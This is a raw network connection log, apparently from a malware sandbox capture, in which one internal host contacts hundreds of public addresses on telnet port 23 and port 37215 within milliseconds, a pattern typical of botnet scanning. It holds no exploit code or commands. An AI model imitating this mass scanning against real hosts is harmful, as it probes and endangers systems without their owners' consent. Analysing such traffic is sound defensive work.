Dec 3, 2024 22:02:09.347361088 CET	39808	23	192.168.2.14	183.194.91.199
Dec 3, 2024 22:02:09.347372055 CET	39808	23	192.168.2.14	88.159.177.105
Dec 3, 2024 22:02:09.347373009 CET	39808	23	192.168.2.14	129.42.148.24
Dec 3, 2024 22:02:09.347373962 CET	39808	23	192.168.2.14	49.55.84.200
Dec 3, 2024 22:02:09.347376108 CET	39808	23	192.168.2.14	57.146.154.119
Dec 3, 2024 22:02:09.347383976 CET	39808	23	192.168.2.14	41.173.218.75
Dec 3, 2024 22:02:09.347383976 CET	39808	23	192.168.2.14	167.226.160.40
Dec 3, 2024 22:02:09.347383976 CET	39808	23	192.168.2.14	160.203.205.167
Dec 3, 2024 22:02:09.347384930 CET	39808	23	192.168.2.14	89.202.64.191
Dec 3, 2024 22:02:09.347384930 CET	39808	23	192.168.2.14	84.229.11.70
Dec 3, 2024 22:02:09.347393990 CET	39808	23	192.168.2.14	118.64.75.74
Dec 3, 2024 22:02:09.347393990 CET	39808	23	192.168.2.14	205.28.155.48
Dec 3, 2024 22:02:09.347393990 CET	39808	23	192.168.2.14	109.183.98.183
Dec 3, 2024 22:02:09.347394943 CET	39808	23	192.168.2.14	209.43.9.94
Dec 3, 2024 22:02:09.347393990 CET	39808	23	192.168.2.14	211.9.67.71
Dec 3, 2024 22:02:09.347404003 CET	39808	23	192.168.2.14	82.23.157.6
Dec 3, 2024 22:02:09.347408056 CET	39808	23	192.168.2.14	143.98.114.233
Dec 3, 2024 22:02:09.347408056 CET	39808	23	192.168.2.14	122.157.205.81
Dec 3, 2024 22:02:09.347408056 CET	39808	23	192.168.2.14	18.29.49.121
Dec 3, 2024 22:02:09.347408056 CET	39808	23	192.168.2.14	68.80.151.224
Dec 3, 2024 22:02:09.347419977 CET	39808	23	192.168.2.14	137.12.216.62
Dec 3, 2024 22:02:09.347424984 CET	39808	23	192.168.2.14	17.244.179.173
Dec 3, 2024 22:02:09.347430944 CET	39808	23	192.168.2.14	119.56.97.186
Dec 3, 2024 22:02:09.347441912 CET	39808	23	192.168.2.14	145.193.233.193
Dec 3, 2024 22:02:09.347456932 CET	39808	23	192.168.2.14	157.74.88.196
Dec 3, 2024 22:02:09.347460985 CET	39808	23	192.168.2.14	184.146.179.92
Dec 3, 2024 22:02:09.347460985 CET	39808	23	192.168.2.14	189.41.41.177
Dec 3, 2024 22:02:09.347470045 CET	39808	23	192.168.2.14	196.32.180.107
Dec 3, 2024 22:02:09.347470045 CET	39808	23	192.168.2.14	158.243.119.152
Dec 3, 2024 22:02:09.347479105 CET	39808	23	192.168.2.14	210.21.50.203
Dec 3, 2024 22:02:09.347495079 CET	39808	23	192.168.2.14	202.6.33.153
Dec 3, 2024 22:02:09.347496986 CET	39808	23	192.168.2.14	169.239.205.250
Dec 3, 2024 22:02:09.347506046 CET	39808	23	192.168.2.14	206.33.151.150
Dec 3, 2024 22:02:09.347508907 CET	39808	23	192.168.2.14	82.100.248.214
Dec 3, 2024 22:02:09.347508907 CET	39808	23	192.168.2.14	112.69.104.229
Dec 3, 2024 22:02:09.347518921 CET	39808	23	192.168.2.14	119.29.254.155
Dec 3, 2024 22:02:09.347523928 CET	39808	23	192.168.2.14	208.21.140.238
Dec 3, 2024 22:02:09.347527027 CET	39808	23	192.168.2.14	181.186.7.224
Dec 3, 2024 22:02:09.347527027 CET	39808	23	192.168.2.14	135.133.123.136
Dec 3, 2024 22:02:09.347536087 CET	39808	23	192.168.2.14	151.238.168.250
Dec 3, 2024 22:02:09.347541094 CET	39808	23	192.168.2.14	14.10.147.202
Dec 3, 2024 22:02:09.347549915 CET	39808	23	192.168.2.14	18.189.251.176
Dec 3, 2024 22:02:09.347549915 CET	39808	23	192.168.2.14	149.181.232.20
Dec 3, 2024 22:02:09.347558022 CET	39808	23	192.168.2.14	98.143.99.165
Dec 3, 2024 22:02:09.347564936 CET	39808	23	192.168.2.14	106.235.160.122
Dec 3, 2024 22:02:09.347572088 CET	39808	23	192.168.2.14	62.111.123.230
Dec 3, 2024 22:02:09.347577095 CET	39808	23	192.168.2.14	189.33.114.29
Dec 3, 2024 22:02:09.347583055 CET	39808	23	192.168.2.14	14.77.6.168
Dec 3, 2024 22:02:09.347598076 CET	39808	23	192.168.2.14	73.114.47.38
Dec 3, 2024 22:02:09.347599983 CET	39808	23	192.168.2.14	158.129.169.231
Dec 3, 2024 22:02:09.347603083 CET	39808	23	192.168.2.14	83.13.21.55
Dec 3, 2024 22:02:09.347611904 CET	39808	23	192.168.2.14	94.212.252.15
Dec 3, 2024 22:02:09.347614050 CET	39808	23	192.168.2.14	169.214.243.65
Dec 3, 2024 22:02:09.347614050 CET	39808	23	192.168.2.14	176.25.167.19
Dec 3, 2024 22:02:09.347614050 CET	39808	23	192.168.2.14	205.2.81.12
Dec 3, 2024 22:02:09.347621918 CET	39808	23	192.168.2.14	212.78.20.210
Dec 3, 2024 22:02:09.347624063 CET	39808	23	192.168.2.14	192.19.159.161
Dec 3, 2024 22:02:09.347631931 CET	39808	23	192.168.2.14	91.51.16.198
Dec 3, 2024 22:02:09.347631931 CET	39808	23	192.168.2.14	59.150.251.185
Dec 3, 2024 22:02:09.347631931 CET	39808	23	192.168.2.14	106.57.32.236
Dec 3, 2024 22:02:09.347634077 CET	39808	23	192.168.2.14	80.109.44.3
Dec 3, 2024 22:02:09.347636938 CET	39808	23	192.168.2.14	132.120.92.149
Dec 3, 2024 22:02:09.347752094 CET	40832	37215	192.168.2.14	197.232.103.183
Dec 3, 2024 22:02:09.347764969 CET	40832	37215	192.168.2.14	41.207.49.168
Dec 3, 2024 22:02:09.347767115 CET	40832	37215	192.168.2.14	197.66.48.7
Dec 3, 2024 22:02:09.347775936 CET	40832	37215	192.168.2.14	156.105.224.42
Dec 3, 2024 22:02:09.347785950 CET	40832	37215	192.168.2.14	41.24.161.79
Dec 3, 2024 22:02:09.347785950 CET	40832	37215	192.168.2.14	41.23.110.54
Dec 3, 2024 22:02:09.347795963 CET	40832	37215	192.168.2.14	197.20.61.144
Dec 3, 2024 22:02:09.347800970 CET	40832	37215	192.168.2.14	156.234.79.178
Dec 3, 2024 22:02:09.347805023 CET	40832	37215	192.168.2.14	197.89.66.246
Dec 3, 2024 22:02:09.347812891 CET	40832	37215	192.168.2.14	197.191.110.2
Dec 3, 2024 22:02:09.347820044 CET	40832	37215	192.168.2.14	197.27.153.95
Dec 3, 2024 22:02:09.347820044 CET	40832	37215	192.168.2.14	197.160.177.13
Dec 3, 2024 22:02:09.347832918 CET	40832	37215	192.168.2.14	41.228.6.4
Dec 3, 2024 22:02:09.347836971 CET	40832	37215	192.168.2.14	197.15.44.131
Dec 3, 2024 22:02:09.347839117 CET	40832	37215	192.168.2.14	41.132.131.219
Dec 3, 2024 22:02:09.347840071 CET	40832	37215	192.168.2.14	197.144.144.24
Dec 3, 2024 22:02:09.347853899 CET	40832	37215	192.168.2.14	41.197.152.183
Dec 3, 2024 22:02:09.347855091 CET	40832	37215	192.168.2.14	156.89.239.56
Dec 3, 2024 22:02:09.347862005 CET	40832	37215	192.168.2.14	156.166.12.99
Dec 3, 2024 22:02:09.347873926 CET	40832	37215	192.168.2.14	197.158.37.228
Dec 3, 2024 22:02:09.347892046 CET	40832	37215	192.168.2.14	197.41.199.36
Dec 3, 2024 22:02:09.347892046 CET	40832	37215	192.168.2.14	156.123.173.120
Dec 3, 2024 22:02:09.347899914 CET	40832	37215	192.168.2.14	197.51.99.113
Dec 3, 2024 22:02:09.347920895 CET	40832	37215	192.168.2.14	41.62.106.215
Dec 3, 2024 22:02:09.347920895 CET	40832	37215	192.168.2.14	156.143.176.208
Dec 3, 2024 22:02:09.347934961 CET	40832	37215	192.168.2.14	41.187.143.219
Dec 3, 2024 22:02:09.347934961 CET	40832	37215	192.168.2.14	156.216.187.204
Dec 3, 2024 22:02:09.347935915 CET	40832	37215	192.168.2.14	156.246.99.10
Dec 3, 2024 22:02:09.347939014 CET	40832	37215	192.168.2.14	156.60.122.209
Dec 3, 2024 22:02:09.347939014 CET	40832	37215	192.168.2.14	41.39.45.1
Dec 3, 2024 22:02:09.347940922 CET	40832	37215	192.168.2.14	156.49.226.137
Dec 3, 2024 22:02:09.347942114 CET	40832	37215	192.168.2.14	197.124.96.232
Dec 3, 2024 22:02:09.347939968 CET	40832	37215	192.168.2.14	41.201.43.32
Dec 3, 2024 22:02:09.347939968 CET	40832	37215	192.168.2.14	197.184.199.72
Dec 3, 2024 22:02:09.347951889 CET	40832	37215	192.168.2.14	197.53.77.78
Dec 3, 2024 22:02:09.347951889 CET	40832	37215	192.168.2.14	41.131.107.114
Dec 3, 2024 22:02:09.347953081 CET	40832	37215	192.168.2.14	156.58.32.169
Dec 3, 2024 22:02:09.347954035 CET	40832	37215	192.168.2.14	156.255.53.129
Dec 3, 2024 22:02:09.347954035 CET	40832	37215	192.168.2.14	156.67.175.102
Dec 3, 2024 22:02:09.347954035 CET	40832	37215	192.168.2.14	156.123.91.41
Dec 3, 2024 22:02:09.347955942 CET	40832	37215	192.168.2.14	41.198.95.203
Dec 3, 2024 22:02:09.347959042 CET	40832	37215	192.168.2.14	156.118.185.9
Dec 3, 2024 22:02:09.347959042 CET	40832	37215	192.168.2.14	156.63.186.124
Dec 3, 2024 22:02:09.347959042 CET	40832	37215	192.168.2.14	41.240.38.209
Dec 3, 2024 22:02:09.347959042 CET	40832	37215	192.168.2.14	41.37.165.151
Dec 3, 2024 22:02:09.347970009 CET	40832	37215	192.168.2.14	41.1.22.248
Dec 3, 2024 22:02:09.347980022 CET	40832	37215	192.168.2.14	156.61.124.138
Dec 3, 2024 22:02:09.347985029 CET	40832	37215	192.168.2.14	156.100.167.6
Dec 3, 2024 22:02:09.347985983 CET	40832	37215	192.168.2.14	197.98.20.25
Dec 3, 2024 22:02:09.347989082 CET	40832	37215	192.168.2.14	197.24.49.166
Dec 3, 2024 22:02:09.348000050 CET	40832	37215	192.168.2.14	41.115.147.149
Dec 3, 2024 22:02:09.348000050 CET	40832	37215	192.168.2.14	156.174.232.60
Dec 3, 2024 22:02:09.348007917 CET	40832	37215	192.168.2.14	197.127.139.140
Dec 3, 2024 22:02:09.348011017 CET	40832	37215	192.168.2.14	156.100.198.137
Dec 3, 2024 22:02:09.348022938 CET	40832	37215	192.168.2.14	41.105.28.43
Dec 3, 2024 22:02:09.348028898 CET	40832	37215	192.168.2.14	197.178.72.69
Dec 3, 2024 22:02:09.348036051 CET	40832	37215	192.168.2.14	41.196.4.171
Dec 3, 2024 22:02:09.348046064 CET	40832	37215	192.168.2.14	197.230.42.193
Dec 3, 2024 22:02:09.348048925 CET	40832	37215	192.168.2.14	41.25.23.246
Dec 3, 2024 22:02:09.348058939 CET	40832	37215	192.168.2.14	41.228.29.148
Dec 3, 2024 22:02:09.348058939 CET	40832	37215	192.168.2.14	197.98.183.207
Dec 3, 2024 22:02:09.348067999 CET	40832	37215	192.168.2.14	197.106.194.239
Dec 3, 2024 22:02:09.348088980 CET	40832	37215	192.168.2.14	197.62.126.123
Dec 3, 2024 22:02:09.348090887 CET	40832	37215	192.168.2.14	41.143.195.2
Dec 3, 2024 22:02:09.348093033 CET	40832	37215	192.168.2.14	41.5.174.25
Dec 3, 2024 22:02:09.348094940 CET	40832	37215	192.168.2.14	41.98.166.242
Dec 3, 2024 22:02:09.348102093 CET	40832	37215	192.168.2.14	41.152.58.17
Dec 3, 2024 22:02:09.348109961 CET	40832	37215	192.168.2.14	41.64.71.42
Dec 3, 2024 22:02:09.348112106 CET	40832	37215	192.168.2.14	156.224.254.177
Dec 3, 2024 22:02:09.348119020 CET	40832	37215	192.168.2.14	197.101.42.17
Dec 3, 2024 22:02:09.348123074 CET	40832	37215	192.168.2.14	197.92.203.243
Dec 3, 2024 22:02:09.348129034 CET	40832	37215	192.168.2.14	156.211.163.86
Dec 3, 2024 22:02:09.348134041 CET	40832	37215	192.168.2.14	197.150.39.62
Dec 3, 2024 22:02:09.348134041 CET	40832	37215	192.168.2.14	197.55.31.188
Dec 3, 2024 22:02:09.348144054 CET	40832	37215	192.168.2.14	197.132.240.169
Dec 3, 2024 22:02:09.348155975 CET	40832	37215	192.168.2.14	156.222.164.83
Dec 3, 2024 22:02:09.348159075 CET	40832	37215	192.168.2.14	156.85.186.44
Dec 3, 2024 22:02:09.348165035 CET	40832	37215	192.168.2.14	41.164.169.128
Dec 3, 2024 22:02:09.348167896 CET	40832	37215	192.168.2.14	156.189.69.71
Dec 3, 2024 22:02:09.348167896 CET	40832	37215	192.168.2.14	156.95.52.197
Dec 3, 2024 22:02:09.348176956 CET	40832	37215	192.168.2.14	41.187.118.26
Dec 3, 2024 22:02:09.348186970 CET	40832	37215	192.168.2.14	156.77.231.97
Dec 3, 2024 22:02:09.348195076 CET	40832	37215	192.168.2.14	197.172.208.89
Dec 3, 2024 22:02:09.348198891 CET	40832	37215	192.168.2.14	41.193.221.136
Dec 3, 2024 22:02:09.348206997 CET	40832	37215	192.168.2.14	41.157.32.37
Dec 3, 2024 22:02:09.348207951 CET	40832	37215	192.168.2.14	156.19.72.232
Dec 3, 2024 22:02:09.348212004 CET	40832	37215	192.168.2.14	156.234.59.235
Dec 3, 2024 22:02:09.348212004 CET	40832	37215	192.168.2.14	41.77.196.66
Dec 3, 2024 22:02:09.348223925 CET	40832	37215	192.168.2.14	197.1.161.148
Dec 3, 2024 22:02:09.348226070 CET	40832	37215	192.168.2.14	156.153.172.217
Dec 3, 2024 22:02:09.348231077 CET	40832	37215	192.168.2.14	41.87.30.191
Dec 3, 2024 22:02:09.348236084 CET	40832	37215	192.168.2.14	156.205.166.180
Dec 3, 2024 22:02:09.348242044 CET	40832	37215	192.168.2.14	197.107.198.70
Dec 3, 2024 22:02:09.348253965 CET	40832	37215	192.168.2.14	197.15.91.241
Dec 3, 2024 22:02:09.348257065 CET	40832	37215	192.168.2.14	41.154.173.58
Dec 3, 2024 22:02:09.348257065 CET	40832	37215	192.168.2.14	156.173.33.118
Dec 3, 2024 22:02:09.348268986 CET	40832	37215	192.168.2.14	197.119.159.60
Dec 3, 2024 22:02:09.348273039 CET	40832	37215	192.168.2.14	41.98.192.168
Dec 3, 2024 22:02:09.348280907 CET	40832	37215	192.168.2.14	41.152.234.78
Dec 3, 2024 22:02:09.348288059 CET	40832	37215	192.168.2.14	197.120.11.36
Dec 3, 2024 22:02:09.348292112 CET	40832	37215	192.168.2.14	197.138.235.156
Dec 3, 2024 22:02:09.348293066 CET	40832	37215	192.168.2.14	156.41.138.102
Dec 3, 2024 22:02:09.348300934 CET	40832	37215	192.168.2.14	41.160.73.129
Dec 3, 2024 22:02:09.348300934 CET	40832	37215	192.168.2.14	197.211.78.187
Dec 3, 2024 22:02:09.348311901 CET	40832	37215	192.168.2.14	41.254.152.57
Dec 3, 2024 22:02:09.348321915 CET	40832	37215	192.168.2.14	156.19.13.5
Dec 3, 2024 22:02:09.348329067 CET	40832	37215	192.168.2.14	41.227.211.199
Dec 3, 2024 22:02:09.348342896 CET	40832	37215	192.168.2.14	197.136.187.223
Dec 3, 2024 22:02:09.348345995 CET	40832	37215	192.168.2.14	41.155.105.189
Dec 3, 2024 22:02:09.348349094 CET	40832	37215	192.168.2.14	156.184.250.16
Dec 3, 2024 22:02:09.348349094 CET	40832	37215	192.168.2.14	197.33.189.45
Dec 3, 2024 22:02:09.348361969 CET	40832	37215	192.168.2.14	156.187.76.246
Dec 3, 2024 22:02:09.348368883 CET	40832	37215	192.168.2.14	156.96.135.3
Dec 3, 2024 22:02:09.348373890 CET	40832	37215	192.168.2.14	41.231.190.103
Dec 3, 2024 22:02:09.348380089 CET	40832	37215	192.168.2.14	41.103.126.208
Dec 3, 2024 22:02:09.348383904 CET	40832	37215	192.168.2.14	156.40.190.59
Dec 3, 2024 22:02:09.348392010 CET	40832	37215	192.168.2.14	41.102.149.248
Dec 3, 2024 22:02:09.348396063 CET	40832	37215	192.168.2.14	41.58.68.204
Dec 3, 2024 22:02:09.348397970 CET	40832	37215	192.168.2.14	156.120.187.200
Dec 3, 2024 22:02:09.348404884 CET	40832	37215	192.168.2.14	197.46.84.135
Dec 3, 2024 22:02:09.348416090 CET	40832	37215	192.168.2.14	156.192.197.85
Dec 3, 2024 22:02:09.348417044 CET	40832	37215	192.168.2.14	156.223.135.83
Dec 3, 2024 22:02:09.348427057 CET	40832	37215	192.168.2.14	197.245.141.101
Dec 3, 2024 22:02:09.348434925 CET	40832	37215	192.168.2.14	197.172.128.222
Dec 3, 2024 22:02:09.348440886 CET	40832	37215	192.168.2.14	197.5.194.113
Dec 3, 2024 22:02:09.348449945 CET	40832	37215	192.168.2.14	197.69.63.183
Dec 3, 2024 22:02:09.348453045 CET	40832	37215	192.168.2.14	156.179.16.189
Dec 3, 2024 22:02:09.348462105 CET	40832	37215	192.168.2.14	156.33.185.172
Dec 3, 2024 22:02:09.348467112 CET	40832	37215	192.168.2.14	156.97.174.129
Dec 3, 2024 22:02:09.348468065 CET	40832	37215	192.168.2.14	156.85.40.141
Dec 3, 2024 22:02:09.348478079 CET	40832	37215	192.168.2.14	41.214.229.33
Dec 3, 2024 22:02:09.348480940 CET	40832	37215	192.168.2.14	41.173.37.108
Dec 3, 2024 22:02:09.348486900 CET	40832	37215	192.168.2.14	41.188.90.87
Dec 3, 2024 22:02:09.348494053 CET	40832	37215	192.168.2.14	41.159.49.116
Dec 3, 2024 22:02:09.348494053 CET	40832	37215	192.168.2.14	156.63.179.74
Dec 3, 2024 22:02:09.348506927 CET	40832	37215	192.168.2.14	197.168.233.106
Dec 3, 2024 22:02:09.348515987 CET	40832	37215	192.168.2.14	156.36.46.4
Dec 3, 2024 22:02:09.348525047 CET	40832	37215	192.168.2.14	197.120.11.83
Dec 3, 2024 22:02:09.348531961 CET	40832	37215	192.168.2.14	156.148.117.107
Dec 3, 2024 22:02:09.348546982 CET	40832	37215	192.168.2.14	197.234.72.38
Dec 3, 2024 22:02:09.348546982 CET	40832	37215	192.168.2.14	156.135.85.28
Dec 3, 2024 22:02:09.348546982 CET	40832	37215	192.168.2.14	197.168.54.172
Dec 3, 2024 22:02:09.348550081 CET	40832	37215	192.168.2.14	197.39.94.50
Dec 3, 2024 22:02:09.348550081 CET	40832	37215	192.168.2.14	197.131.144.208
Dec 3, 2024 22:02:09.348552942 CET	40832	37215	192.168.2.14	41.99.157.88
Dec 3, 2024 22:02:09.348560095 CET	40832	37215	192.168.2.14	197.241.206.37
Dec 3, 2024 22:02:09.348570108 CET	40832	37215	192.168.2.14	156.254.250.103
Dec 3, 2024 22:02:09.348572969 CET	40832	37215	192.168.2.14	197.102.173.118
Dec 3, 2024 22:02:09.348582029 CET	40832	37215	192.168.2.14	197.225.234.195
Dec 3, 2024 22:02:09.348582029 CET	40832	37215	192.168.2.14	156.222.82.26
Dec 3, 2024 22:02:09.348592043 CET	40832	37215	192.168.2.14	41.219.219.82
Dec 3, 2024 22:02:09.348602057 CET	40832	37215	192.168.2.14	41.35.153.224
Dec 3, 2024 22:02:09.348602057 CET	40832	37215	192.168.2.14	156.252.10.6
Dec 3, 2024 22:02:09.348611116 CET	40832	37215	192.168.2.14	197.51.146.22
Dec 3, 2024 22:02:09.348613024 CET	40832	37215	192.168.2.14	197.189.177.99
Dec 3, 2024 22:02:09.348622084 CET	40832	37215	192.168.2.14	156.59.179.240
Dec 3, 2024 22:02:09.348630905 CET	40832	37215	192.168.2.14	197.45.18.122
Dec 3, 2024 22:02:09.348630905 CET	40832	37215	192.168.2.14	41.145.207.156
Dec 3, 2024 22:02:09.348644972 CET	40832	37215	192.168.2.14	156.146.200.123
Dec 3, 2024 22:02:09.348644972 CET	40832	37215	192.168.2.14	156.147.99.25
Dec 3, 2024 22:02:09.348655939 CET	40832	37215	192.168.2.14	41.231.252.160
Dec 3, 2024 22:02:09.348656893 CET	40832	37215	192.168.2.14	156.2.101.226
Dec 3, 2024 22:02:09.348666906 CET	40832	37215	192.168.2.14	41.229.12.30
Dec 3, 2024 22:02:09.348674059 CET	40832	37215	192.168.2.14	197.99.227.47
Dec 3, 2024 22:02:09.348680019 CET	40832	37215	192.168.2.14	41.27.56.80
Dec 3, 2024 22:02:09.348690033 CET	40832	37215	192.168.2.14	197.69.54.114
Dec 3, 2024 22:02:09.348690033 CET	40832	37215	192.168.2.14	156.4.69.183
Dec 3, 2024 22:02:09.348690033 CET	40832	37215	192.168.2.14	156.97.56.123
Dec 3, 2024 22:02:09.348699093 CET	40832	37215	192.168.2.14	197.165.112.242
Dec 3, 2024 22:02:09.348712921 CET	40832	37215	192.168.2.14	197.182.205.95
Dec 3, 2024 22:02:09.348722935 CET	40832	37215	192.168.2.14	156.9.22.234
Dec 3, 2024 22:02:09.348722935 CET	40832	37215	192.168.2.14	156.147.158.191
Dec 3, 2024 22:02:09.348722935 CET	40832	37215	192.168.2.14	41.218.137.193
Dec 3, 2024 22:02:09.348726988 CET	40832	37215	192.168.2.14	41.79.208.163
Dec 3, 2024 22:02:09.348735094 CET	40832	37215	192.168.2.14	156.124.234.179
Dec 3, 2024 22:02:09.348738909 CET	40832	37215	192.168.2.14	41.143.115.228
Dec 3, 2024 22:02:09.348748922 CET	40832	37215	192.168.2.14	197.33.188.242
Dec 3, 2024 22:02:09.348748922 CET	40832	37215	192.168.2.14	156.67.129.130
Dec 3, 2024 22:02:09.348767042 CET	40832	37215	192.168.2.14	197.243.185.26
Dec 3, 2024 22:02:09.348772049 CET	40832	37215	192.168.2.14	156.178.46.61
Dec 3, 2024 22:02:09.348773956 CET	40832	37215	192.168.2.14	41.77.33.139
Dec 3, 2024 22:02:09.348779917 CET	40832	37215	192.168.2.14	156.49.112.150
Dec 3, 2024 22:02:09.348784924 CET	40832	37215	192.168.2.14	41.9.99.56
Dec 3, 2024 22:02:09.348793983 CET	40832	37215	192.168.2.14	41.144.139.33
Dec 3, 2024 22:02:09.348799944 CET	40832	37215	192.168.2.14	197.213.206.47
Dec 3, 2024 22:02:09.348809004 CET	40832	37215	192.168.2.14	156.83.119.46
Dec 3, 2024 22:02:09.348809004 CET	40832	37215	192.168.2.14	41.154.23.166
Dec 3, 2024 22:02:09.348809004 CET	40832	37215	192.168.2.14	197.2.102.13
Dec 3, 2024 22:02:09.348820925 CET	40832	37215	192.168.2.14	41.2.105.19
Dec 3, 2024 22:02:09.348820925 CET	40832	37215	192.168.2.14	41.35.104.187
Dec 3, 2024 22:02:09.348829031 CET	40832	37215	192.168.2.14	156.7.224.126
Dec 3, 2024 22:02:09.348836899 CET	40832	37215	192.168.2.14	41.78.166.223
Dec 3, 2024 22:02:09.348839998 CET	40832	37215	192.168.2.14	197.90.244.176
Dec 3, 2024 22:02:09.348846912 CET	40832	37215	192.168.2.14	197.71.67.253
Dec 3, 2024 22:02:09.348848104 CET	40832	37215	192.168.2.14	197.41.50.79
Dec 3, 2024 22:02:09.348856926 CET	40832	37215	192.168.2.14	197.127.234.73
Dec 3, 2024 22:02:09.348860025 CET	40832	37215	192.168.2.14	41.70.18.226
Dec 3, 2024 22:02:09.348865986 CET	40832	37215	192.168.2.14	197.226.68.242
Dec 3, 2024 22:02:09.348870993 CET	40832	37215	192.168.2.14	197.24.174.178
Dec 3, 2024 22:02:09.348880053 CET	40832	37215	192.168.2.14	41.159.245.96
Dec 3, 2024 22:02:09.348886967 CET	40832	37215	192.168.2.14	156.225.127.127
Dec 3, 2024 22:02:09.348892927 CET	40832	37215	192.168.2.14	156.17.232.199
Dec 3, 2024 22:02:09.348897934 CET	40832	37215	192.168.2.14	197.64.83.75
Dec 3, 2024 22:02:09.348897934 CET	40832	37215	192.168.2.14	197.99.92.219
Dec 3, 2024 22:02:09.348917007 CET	40832	37215	192.168.2.14	197.225.171.212
Dec 3, 2024 22:02:09.348917007 CET	40832	37215	192.168.2.14	197.148.100.116
Dec 3, 2024 22:02:09.348929882 CET	40832	37215	192.168.2.14	41.99.119.151
Dec 3, 2024 22:02:09.348931074 CET	40832	37215	192.168.2.14	156.51.8.110
Dec 3, 2024 22:02:09.348937035 CET	40832	37215	192.168.2.14	197.174.42.77
Dec 3, 2024 22:02:09.348942995 CET	40832	37215	192.168.2.14	156.179.108.94
Dec 3, 2024 22:02:09.348951101 CET	40832	37215	192.168.2.14	41.38.156.84
Dec 3, 2024 22:02:09.348952055 CET	40832	37215	192.168.2.14	41.134.223.93
Dec 3, 2024 22:02:09.348956108 CET	40832	37215	192.168.2.14	197.76.182.16
Dec 3, 2024 22:02:09.348963976 CET	40832	37215	192.168.2.14	197.29.72.103
Dec 3, 2024 22:02:09.348970890 CET	40832	37215	192.168.2.14	197.52.169.150
Dec 3, 2024 22:02:09.348979950 CET	40832	37215	192.168.2.14	197.226.200.1
Dec 3, 2024 22:02:09.348979950 CET	40832	37215	192.168.2.14	156.69.235.98
Dec 3, 2024 22:02:09.348989010 CET	40832	37215	192.168.2.14	41.125.35.131
Dec 3, 2024 22:02:09.348997116 CET	40832	37215	192.168.2.14	41.155.146.147
Dec 3, 2024 22:02:09.349005938 CET	40832	37215	192.168.2.14	156.233.239.138
Dec 3, 2024 22:02:09.349014997 CET	40832	37215	192.168.2.14	156.239.27.185
Dec 3, 2024 22:02:09.349019051 CET	40832	37215	192.168.2.14	197.241.173.37
Dec 3, 2024 22:02:09.349019051 CET	40832	37215	192.168.2.14	41.157.42.48
Dec 3, 2024 22:02:09.349026918 CET	40832	37215	192.168.2.14	197.141.255.82
Dec 3, 2024 22:02:09.349034071 CET	40832	37215	192.168.2.14	197.110.193.28
Dec 3, 2024 22:02:09.349042892 CET	40832	37215	192.168.2.14	156.65.229.11
Dec 3, 2024 22:02:09.349049091 CET	40832	37215	192.168.2.14	197.192.113.1
Dec 3, 2024 22:02:09.349050999 CET	40832	37215	192.168.2.14	197.7.16.215
Dec 3, 2024 22:02:09.349056005 CET	40832	37215	192.168.2.14	41.196.174.144
Dec 3, 2024 22:02:09.349065065 CET	40832	37215	192.168.2.14	156.213.0.29
Dec 3, 2024 22:02:09.349065065 CET	40832	37215	192.168.2.14	197.192.135.245
Dec 3, 2024 22:02:09.349087000 CET	40832	37215	192.168.2.14	156.156.146.160
Dec 3, 2024 22:02:09.349087954 CET	40832	37215	192.168.2.14	41.250.79.193
Dec 3, 2024 22:02:09.349092960 CET	40832	37215	192.168.2.14	197.37.238.169
Dec 3, 2024 22:02:09.349103928 CET	40832	37215	192.168.2.14	41.12.182.107
Dec 3, 2024 22:02:09.349107027 CET	40832	37215	192.168.2.14	41.219.114.119
Dec 3, 2024 22:02:09.349116087 CET	40832	37215	192.168.2.14	197.5.233.89
Dec 3, 2024 22:02:09.349122047 CET	40832	37215	192.168.2.14	197.59.91.227
Dec 3, 2024 22:02:09.349123955 CET	40832	37215	192.168.2.14	41.52.241.88
Dec 3, 2024 22:02:09.349124908 CET	40832	37215	192.168.2.14	197.144.228.136
Dec 3, 2024 22:02:09.349144936 CET	40832	37215	192.168.2.14	197.30.66.160
Dec 3, 2024 22:02:09.349153996 CET	40832	37215	192.168.2.14	156.47.177.69
Dec 3, 2024 22:02:09.349158049 CET	40832	37215	192.168.2.14	156.62.26.94
Dec 3, 2024 22:02:09.349168062 CET	40832	37215	192.168.2.14	197.67.255.228
Dec 3, 2024 22:02:09.349168062 CET	40832	37215	192.168.2.14	41.184.150.106
Dec 3, 2024 22:02:09.349176884 CET	40832	37215	192.168.2.14	156.38.41.48
Dec 3, 2024 22:02:09.349179029 CET	40832	37215	192.168.2.14	41.248.242.201
Dec 3, 2024 22:02:09.349189997 CET	40832	37215	192.168.2.14	41.70.113.122
Dec 3, 2024 22:02:09.349196911 CET	40832	37215	192.168.2.14	156.171.27.73
Dec 3, 2024 22:02:09.349205971 CET	40832	37215	192.168.2.14	41.116.91.227
Dec 3, 2024 22:02:09.349205971 CET	40832	37215	192.168.2.14	197.52.159.14
Dec 3, 2024 22:02:09.349215031 CET	40832	37215	192.168.2.14	156.173.120.146
Dec 3, 2024 22:02:09.349232912 CET	40832	37215	192.168.2.14	41.186.36.231
Dec 3, 2024 22:02:09.349236012 CET	40832	37215	192.168.2.14	197.72.162.36
Dec 3, 2024 22:02:09.349236012 CET	40832	37215	192.168.2.14	156.198.84.147
Dec 3, 2024 22:02:09.349236012 CET	40832	37215	192.168.2.14	41.188.161.22
Dec 3, 2024 22:02:09.349246025 CET	40832	37215	192.168.2.14	41.99.3.87
Dec 3, 2024 22:02:09.349246979 CET	40832	37215	192.168.2.14	197.40.37.90
Dec 3, 2024 22:02:09.349255085 CET	40832	37215	192.168.2.14	197.202.56.245
Dec 3, 2024 22:02:09.349261045 CET	40832	37215	192.168.2.14	156.107.66.20
Dec 3, 2024 22:02:09.349266052 CET	40832	37215	192.168.2.14	197.93.152.255
Dec 3, 2024 22:02:09.349272966 CET	40832	37215	192.168.2.14	41.25.193.43
Dec 3, 2024 22:02:09.349287033 CET	40832	37215	192.168.2.14	197.189.238.209
Dec 3, 2024 22:02:09.349287033 CET	40832	37215	192.168.2.14	156.196.56.19
Dec 3, 2024 22:02:09.349291086 CET	40832	37215	192.168.2.14	41.160.65.198
Dec 3, 2024 22:02:09.349292994 CET	40832	37215	192.168.2.14	197.224.225.132
Dec 3, 2024 22:02:09.349302053 CET	40832	37215	192.168.2.14	41.142.106.83
Dec 3, 2024 22:02:09.349303961 CET	40832	37215	192.168.2.14	156.175.245.233
Dec 3, 2024 22:02:09.349308014 CET	40832	37215	192.168.2.14	41.74.207.134
Dec 3, 2024 22:02:09.349318981 CET	40832	37215	192.168.2.14	156.203.255.213
Dec 3, 2024 22:02:09.349328041 CET	40832	37215	192.168.2.14	156.239.198.237
Dec 3, 2024 22:02:09.349334955 CET	40832	37215	192.168.2.14	41.138.184.23
